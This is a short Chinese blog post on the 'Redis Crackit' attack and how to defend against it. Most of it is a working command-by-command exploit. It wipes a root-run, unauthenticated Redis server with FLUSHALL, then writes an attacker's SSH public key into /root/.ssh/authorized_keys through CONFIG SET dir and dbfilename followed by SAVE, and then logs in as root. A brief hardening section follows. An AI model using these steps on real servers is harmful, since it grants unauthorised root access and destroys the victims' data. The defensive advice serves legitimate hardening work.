kavin

Redis Crackit漏洞利用和防护

kavin 虚拟化 2018-05-11 2629浏览 0

 

准备工作:

1.准备一个运行在root用户下的验证redis

2.在你的本地生产一个ssh key# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"

3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt

 

开始了:很简单哦

 

#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。

[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall

OK

#把公钥写入到一个key里面

[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen

#连接到这个redis

[root@test-node1 ~]# redis-cli -h 192.168.199.221

#设置rdb文件存放的路径

redis 192.168.199.221:6379> config set dir /root/.ssh/

OK

#设置rdb文件的文件名

redis 192.168.199.221:6379> config set dbfilename "authorized_keys"

OK

#搞定保存

redis 192.168.199.221:6379> save

OK

#退出

redis 192.168.199.221:6379> exit

 

#尝试登陆吧

[root@test-node1 ~]# ssh root@192.168.199.221

Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

 

一台服务器就这样搞定了!

 

#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys

[root@test-node2 ~]# cat /root/.ssh/authorized_keys

 


如何防护:

 

     1.禁用这些可以入侵的命令:

     [root@test-node2 ~]# vim /etc/redis.conf

     rename-command FLUSHALL ""

     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。

 

    2.将你的redis不要运行在0.0.0.0.或者设置验证。

     [root@test-node2 ~]# vim /etc/redis.conf

    requirepass redis-passwd

    bind 192.168.199.11

 

   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。


发表评论